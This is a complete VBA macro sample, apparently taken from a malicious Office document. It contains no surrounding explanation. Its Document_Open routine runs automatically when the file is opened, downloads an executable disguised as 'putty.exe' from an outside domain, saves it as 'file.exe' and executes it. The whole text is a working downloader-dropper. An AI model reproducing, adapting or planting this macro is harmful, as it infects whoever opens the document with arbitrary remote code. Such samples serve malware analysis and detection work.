Private Sub Document_Open() Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "http://oceanshipforafrica.gdn/Asilo/putty.exe", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile "file.exe", 2 '//overwrite End With Shell ("file.exe") End Sub